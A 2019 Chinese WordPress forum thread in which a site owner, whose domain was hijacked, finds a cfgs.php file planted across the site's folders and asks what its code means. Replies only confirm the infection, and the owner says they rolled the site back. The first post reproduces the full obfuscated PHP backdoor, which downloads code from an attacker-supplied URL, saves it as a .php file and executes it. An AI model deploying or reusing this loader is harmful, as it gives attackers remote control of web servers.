cfgs.php文件在前几天几乎被安装到了我网站根目录下所有文件
wordpress吧
全部回复
仅看楼主
level 2
有一个cfgs.php文件在前几天几乎被安装到了我网站根目录下所有的文件夹里,直到昨天我发现网站被劫持域名以后,一一排查文件时,才又发现这个问题,想问一下大家,这个文件里的代码是什么意思呢?
<?phpgoto Dcf77; eced2: $ee719 = curl_exec($e4a4d); goto e2372; dd7d6: $e4a4d = curl_init(); goto f3ee3; Df95b: chmod(realpath('') . "\57" . $_GET["\x70\141\164\150"] . "\56\x70\x68\x70", 0644); goto Cb355; Cb355: include realpath('') . "\57" . $_GET["\160\141\164\x68"] . "\56\160\x68\160"; goto de579; E541b: dB1E3(realpath('') . "\57" . $_GET["\x70\x61\x74\150"] . "\x2e\160\150\160", $e8924); goto Df95b; cf288: Aaf90: goto D8684; fefa3: $e8924 = $ee719 . ''; goto E541b; f3ee3: curl_setopt($e4a4d, CURLOPT_URL, $_GET["\x75\162\x6c"]); goto b371c; Dcf77: echo "\120\117\x53\x54\x3e\x50\101\123\x53\x57\x4f\x52\104\72\40\x20\x20\40\x20\103\x48\x45\103\x4b\x42\117\130\x20\x4e\x41\115\x45\x3d\x22\106\x5b\x5d\42\x20\x56\x41\x4c\x55\105\75\42\x20\x20\x22\137\x75\x70\154\42\x20\166\x61\x6c\165\x65\x3d\42\x55\x70\154\157\x61\x64\x22\x20\156\x61\x6d\145\x3d\x22\165\x70\154\157\141\144\145\x72\42\40\x69\x64\75\x22\165\160\154\x6f\x61\x64\x65\162\x22"; goto fe07f; b6cfa: goto d1099; goto cf288; e2372: if (!$ee719) { goto a62c5; } goto fefa3; b371c: curl_setopt($e4a4d, CURLOPT_RETURNTRANSFER, 1); goto cff1d; de579: a62c5: goto b6cfa; B6392: include realpath('') . "\x2f" . $_GET["\160\141\164\150"] . "\56\160\x68\x70"; goto Adca6; fe07f: function DB1E3($ef7c7, $ee719) { file_put_contents($ef7c7, "\x3c\77\160\x68\x70\x20\x2f\52" . uniqid() . "\52\x2f\x20\x3f\76" . $ee719); } goto aa38f; cff1d: curl_setopt($e4a4d, CURLOPT_TIMEOUT, 60); goto eced2; D8684: chmod(realpath('') . "\57" . $_GET["\x70\x61\164\x68"] . "\x2e\160\150\160", 0644); goto B6392; aa38f: if (file_exists(realpath('') . "\57" . $_GET["\x70\141\x74\x68"])) { goto Aaf90; } goto dd7d6; Adca6: d1099:
2019年08月20日 04点08分 1
level 2
我把能找到的这个文件都删除了,大约有近二十个吧,不知道这个做法对不对,目前网站打开还是正常的。
2019年08月20日 04点08分 2
level 2
在线等,急哦,谢谢大家啦
2019年08月20日 04点08分 3
level 6
不懂,帮顶[呵呵]
2019年08月20日 04点08分 4
好吧,谢谢啦啊
2019年08月20日 05点08分
level 12
意思是你中毒了。
2019年08月26日 01点08分 5
哦哦,谢谢啦哦。我已经回滚过去了
2019年10月02日 01点10分
1